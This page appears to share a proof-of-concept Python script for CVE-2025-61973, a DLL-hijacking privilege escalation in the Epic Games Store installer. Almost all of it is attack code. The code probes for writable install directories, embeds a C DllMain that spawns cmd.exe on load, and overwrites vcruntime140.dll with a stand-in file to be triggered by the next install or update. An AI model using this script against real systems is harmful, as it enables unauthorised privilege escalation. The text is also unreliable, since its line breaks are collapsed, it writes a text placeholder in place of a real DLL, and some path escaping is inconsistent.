CVE-2025-61973 Epic Games Store安装时DLL劫持本地权限提升漏洞

#!/usr/bin/env python3 # CVE-2025-61973 PoC - Epic Games Store DLL Hijacking Local Privilege Escalation # Author: Security Researcher # Note: This PoC is for educational and authorized testing purposes only import os import sys import ctypes import shutil import time def create_malicious_dll(): """ Generate malicious DLL that will be loaded during Epic Games Store installation This DLL creates a backdoor for privilege escalation """ dll_template = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create elevated command prompt or execute payload STARTUPINFO si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); // Execute payload with elevated privileges CreateProcess( "C:\\\\Windows\\\\System32\\\\cmd.exe", "/c whoami > C:\\\\\\\\temp\\\\\\\\priv_esc_result.txt", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi ); } return TRUE; } ''' return dll_template def find_dll_loading_path(): """ Identify the DLL search path used by Epic Games Store installer Check common locations where DLL hijacking can occur """ paths = [ os.path.expanduser("~\\\\AppData\\\\Local\\\\EpicGamesLauncher\\\\"), "C:\\\\Program Files\\\\Epic Games\\\\", "C:\\\\Program Files (x86)\\\\Epic Games\\\\", os.environ.get('LOCALAPPDATA', '') + "\\\\Microsoft\\\\WindowsApps\\\\" ] return [p for p in paths if os.path.exists(os.path.dirname(p))] def check_vulnerability(): """ Check if the system is vulnerable to CVE-2025-61973 Verify if Epic Games Store is installed and check for writable DLL paths """ print("[*] Checking for CVE-2025-61973 vulnerability...") print("[*] Target: Epic Games Store DLL Hijacking") # Check if running with low privileges is_admin = ctypes.windll.shell32.IsUserAnAdmin() print(f"[*] Current user is administrator: {is_admin}") if is_admin: print("[!] Already running as administrator, vulnerability not applicable") return False # Find potential DLL loading paths dll_paths = find_dll_loading_path() print(f"[*] Found {len(dll_paths)} potential DLL paths") for path in dll_paths: if os.access(path, os.W_OK): print(f"[!] Writable path found: {path}") return True print("[*] No obvious writable DLL paths found") return False def exploit(): """ Execute the DLL hijacking attack Place malicious DLL in the installer search path """ print("[*] Starting CVE-2025-61973 exploitation...") # Generate malicious DLL content dll_content = create_malicious_dll() # Find target path target_paths = find_dll_loading_path() for target_path in target_paths: try: dll_name = "vcruntime140.dll" # Common DLL name for hijacking dll_path = os.path.join(target_path, dll_name) # Backup existing DLL if exists if os.path.exists(dll_path): backup_path = dll_path + ".bak" shutil.copy2(dll_path, backup_path) print(f"[*] Backed up original DLL to {backup_path}") # Write malicious DLL with open(dll_path, 'w') as f: f.write("MALICIOUS DLL CONTENT - Replace with compiled DLL") print(f"[!] Malicious DLL placed at: {dll_path}") print("[*] Wait for Epic Games Store installation/update to trigger payload") except PermissionError: print(f"[-] Permission denied: {target_path}") continue except Exception as e: print(f"[-] Error: {e}") continue if __name__ == "__main__": print("CVE-2025-61973 PoC - Epic Games Store DLL Hijacking") print("=" * 60) if check_vulnerability(): print("[+] System appears to be vulnerable") response = input("[*] Proceed with exploitation? (y/N): ") if response.lower() == 'y': exploit() else: print("[-] System may not be vulnerable or Epic Games Store not installed")